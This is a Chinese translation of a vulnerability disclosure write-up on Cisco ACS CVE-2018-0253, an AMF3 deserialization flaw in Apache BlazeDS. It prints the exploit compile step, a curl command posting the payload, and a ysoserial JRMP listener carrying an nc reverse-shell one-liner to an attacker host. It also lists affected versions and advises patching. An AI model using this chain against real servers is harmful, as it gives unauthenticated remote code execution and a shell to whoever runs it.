危险的AMF3协议

最近,Code White的Markus Wulftange 分享了一项有趣的研究,研究如何使用Java编写并使用AMF3协议来攻击Web应用程序。 可以在使用Flash的地方找到该协议,并且需要SWF对象和应用程序的服务器部分之间的数据交换。 该协议允许您将flash.utils.IExternalizable类型的序列化对象传输到服务器。 这些服务器端对象被反序列化,发生类型转换,并且flash.utils.IExternalizable变成java.io.Externalizable。 值得注意的是,实现此接口的类本身可以完全控制自己的序列化和反序列化的过程。 这意味着您可以尝试找到一个在反序列化时将执行任意代码的类。

Marcus检查了来自OpenJDK 8u121的所有实现java.io.Externalizable接口的类,发现它们包括与RMI机制相关的类sun.rmi.server.UnicastRef和sun.rmi.server.UnicastRef2。 如果您正确准备了其中一个类的对象(使用指向攻击者主机的链接对其进行初始化),然后将其传输到易受攻击的服务器,则服务器JVM将把LiveRef链接注册到“远程对象”。 之后,垃圾收集机制将尝试与指定的主机建立JRMP连接。 如您所知,JRMP协议涉及序列化Java对象的交换。 这可用于执行与反序列化相关的攻击。



CVE-2018-0253或我们如何入侵Cisco ACS


一次,在我们的测试之一中,我们可以访问Cisco ACS 5.8服务器。 同时,我们有机会通过Web界面连接到正在运行的服务器。 在分析Web界面期间,我们发现包含AMF3对象的POST请求从客户端发送到服务器。



后来发现服务器未经授权接受了此类POST请求

HTTP响应标头指示Web界面是用Java实现的。 因此,您可以尝试进行攻击。

下载原始漏洞并更改主机和端口变量。 编译时,需要确保CLASSPATH包含Apache BlazeDS库的路径。 运行编译后的代码将输出AMF包:UnicastRef类的序列化对象,该对象由指向我们服务器的LiveRef链接初始化。

javac Amf3ExternalizableUnicastRef.java && java Amf3ExternalizableUnicastRef > payload 

我们将包含生成的AMF数据包的HTTP请求发送到Cisco ACS,并且看到连接尝试。

 curl -X POST -H "Content-type: application/x-amf" --data-binary @payload -k \ https://[IP  Cisco ACS]/acsview/messagebroker/amfsecure 



发生这种情况是因为服务器上安装了易受攻击的Apache BlazeDS库版本。 Cisco ACS解压缩了AMF数据包,对我们传递的对象进行了反序列化,现在垃圾收集器正在尝试与我们的服务器建立JRMP连接。 如果您使用RMI对象响应此请求,则Cisco ACS会反序列化接收到的数据并执行我们的代码。

我们使用ysoserial实用程序。 它将充当JRMP服务器:连接后,客户端将从CommonsCollection1库接收一个对象,该对象在其中是用于执行反向Shell的代码。

 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 443 CommonsCollections1 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP   ] 80 >/tmp/f' 

现在,我们重复发送AMF数据包并获得反向外壳:



而不是结论


发现的漏洞使未经授权的攻击者可以从特权用户执行任意命令。 制造商将其评为CVSS等级9.8 。 我们建议使用此软件的每个人都安装最新的补丁程序。

易受攻击的软件:

  • Cisco ACS <5.8.0.32.7-易受攻击,不需要授权;
  • Cisco ACS 5.8.0.32.7,5.8.0.32.8-易受攻击,需要授权;
  • 从Cisco ACS 5.8.0.32.9开始-漏洞已关闭。

作者 :积极技术的Mikhail Klyuchnikov和Yuri Aleinov

Source: https://habr.com/ru/post/zh-CN414657/


All Articles